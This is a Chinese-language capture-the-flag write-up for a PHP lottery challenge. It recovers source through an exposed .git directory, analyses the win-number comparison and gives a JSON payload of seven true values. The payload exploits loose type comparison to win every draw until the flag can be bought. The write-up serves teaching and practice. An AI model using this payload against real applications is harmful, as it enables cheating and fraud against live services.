是道买彩票，中大奖，然后买flag的题目，并且题目附带源码，按理说原本应该是扫到.git目录，然后使用githack把源码下载下来的。
    将源码下载下来后，进行一顿分析，找到几个关键的地方：

    1. 生成随机数 ```php function random_num(){ do {

      1.  $byte = openssl_random_pseudo_bytes(10, $cstrong);
      2.  $num = ord($byte);

      } while ($num >= 250);

      if(!$cstrong){

      1.  response_error('server need be checked, tell admin');

      }

      $num /= 25; return strval(floor($num)); }

    function random_win_nums(){ $result = ‘’; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; }

    2. 2. 购买彩票
    3. ```php
    4. function buy($req){
    5.     require_registered();
    6.     require_min_money(2);
    8.     $money = $_SESSION['money'];
    9.     $numbers = $req['numbers'];
    10.     $win_numbers = random_win_nums();
    11.     $same_count = 0;
    12.     for($i=0; $i<7; $i++){
    13.         if($numbers[$i] == $win_numbers[$i]){
    14.             $same_count++;
    15.         }
    16.     }
    17.     switch ($same_count) {
    18.         case 2:
    19.             $prize = 5;
    20.             break;
    21.         case 3:
    22.             $prize = 20;
    23.             break;
    24.         case 4:
    25.             $prize = 300;
    26.             break;
    27.         case 5:
    28.             $prize = 1800;
    29.             break;
    30.         case 6:
    31.             $prize = 200000;
    32.             break;
    33.         case 7:
    34.             $prize = 5000000;
    35.             break;
    36.         default:
    37.             $prize = 0;
    38.             break;
    39.     }
    40.     $money += $prize - 2;
    41.     $_SESSION['money'] = $money;
    42.     response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
    43. }

    1. 购买flag

      1. function flag($req){
      2.  global $flag;
      3.  global $flag_price;
      5.  require_registered();
      6.  $money = $_SESSION['money'];
      7.  if($money < $flag_price){
      8.      response_error('you don\' have enough money');
      9.  } else {
      10.      $money -= $flag_price;
      11.      $_SESSION['money'] = $money;
      12.      $msg = 'Here is your flag: ' . $flag;
      13.      response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
      14.  }
      15. }

      可以看到，buy函数中有个很明显的弱类型比较漏洞：

      1. if($numbers[$i] == $win_numbers[$i]){
      2.          $same_count++;
      3.      }

      win_numbers是由random_win_nums函数返回的，所以类型就是字符串类型。
      根据php官方文档的弱类型比较表，true=="php" //boolean(true)，所以构造一个长度为7的数组，内容都是true即可绕过。

      1. {
      2. "action":"buy",
      3. "numbers":[
      4.  true,
      5.  true,
      6.  true,
      7.  true,
      8.  true,
      9.  true,
      10.  true
      11. ]
      12. }

      一直提交直到金额足够买flag即可。